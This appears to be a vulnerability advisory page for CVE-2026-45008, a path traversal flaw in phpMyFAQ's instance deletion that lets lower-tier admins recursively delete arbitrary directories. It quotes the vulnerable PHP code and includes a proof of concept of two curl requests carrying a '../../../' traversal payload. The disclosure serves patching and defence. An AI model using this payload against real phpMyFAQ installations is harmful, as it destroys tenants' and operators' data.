Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-45008 — phpmyfaq

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-73 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

phpMyFAQ: Path Traversal in Client::deleteClientFolder enables arbitrary directory deletion by non-super-admin admins

Summary

Client::deleteClientFolder() in phpmyfaq/src/phpMyFAQ/Instance/Client.php:583 takes a URL from the caller, strips the https:// prefix, and passes the remainder to Filesystem::deleteDirectory() relative to the multisite clientFolder. No path-traversal validation runs. An admin with the INSTANCE_DELETE permission (a role short of SUPER_ADMIN) submits https://../../../<path> as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.

Details

phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591:

```php

public function deleteClientFolder(string $sourceUrl): bool

{

if (!$this->isMultiSiteWriteable()) {

return false;

}

$sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl);

return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath);

}

```

str_replace strips the scheme but does nothing about ../ segments. The concatenation $this->clientFolder . $sourcePath directly feeds the filesystem call, which traverses above clientFolder without complaint.

Callers feed the URL from the HTTP request body:

phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184:

```php

if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {

```

$clientData->url comes from json_decode($request->getContent()). The route is admin.api.instance.delete, gated by INSTANCE_DELETE. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to deleteClientFolder().

InstanceController.php:144 (edit path) and Controller/Administration/InstanceController.php:151 (form path) both reach the same sink through different entry points.

Precedent

GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in MediaBrowserController::index(): an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.

Proof of Concept

Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with INSTANCE_ADD and INSTANCE_DELETE rights, no SUPER_ADMIN flag.

Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page.

Step 2: Alice creates an instance whose url encodes a traversal payload. The create path at InstanceController.php:144 already concatenates to the clientFolder through the same deleteClientFolder('https://' . $hostname) call:

```bash

curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \

-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \

-d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}'

```

Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands clientData->url directly to deleteClientFolder:

```bash

curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \

-H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \

-d '{"url":"https://../../../tmp/pmf-poc/"}'

```

The server computes $sourcePath = '../../../tmp/pmf-poc/', concatenates to <clientFolder>/, and recursively deletes the resulting path.

Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see InstanceController.php:184. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.

Impact

Any phpMyFAQ admin holding INSTANCE_ADD + INSTANCE_DELETE but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:

  • Destroy other tenants' data on a shared multisite deployment by traversing above the clientFolder into peer directories.
  • Delete phpMyFAQ's own content/, config/, or cache directories and lock the install out.
  • On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.

phpMyFAQ's permission model gives INSTANCE_ADD / INSTANCE_DELETE as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.

Re

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-45008 is classified as CWE-73: External Control of File Name or Path. A caller can influence which file the application opens or writes, extending an operation to files that were never meant to be reachable.

Affected software

CVE-2026-45008 is recorded against 3 packages.

  • phpmyfaq/phpmyfaq (fixed in 4.1.2)
  • thorsten/phpmyfaq (fixed in 4.1.2)
  • unknown

Timeline and source

Published on 15 May 2026 and last revised on 9 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
www.vulncheck.com (Web)

Other advisories for this package

phpmyfaq/phpmyfaq has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-73: External Control of File Name or Path) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
CWE CWE-73
Public Exploit ✅ No
Source NVD
Published 2026-05-15
Updated 2026-08-20
Modified 2026-06-09
Fix URL N/A

Affected Packages

Software From version Fixed in
phpmyfaq/phpmyfaq 4.1.2
thorsten/phpmyfaq 4.1.2
unknown

Similar Threats

Site Security Check

Is phpmyfaq part of your stack?

CVE-2026-45008 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026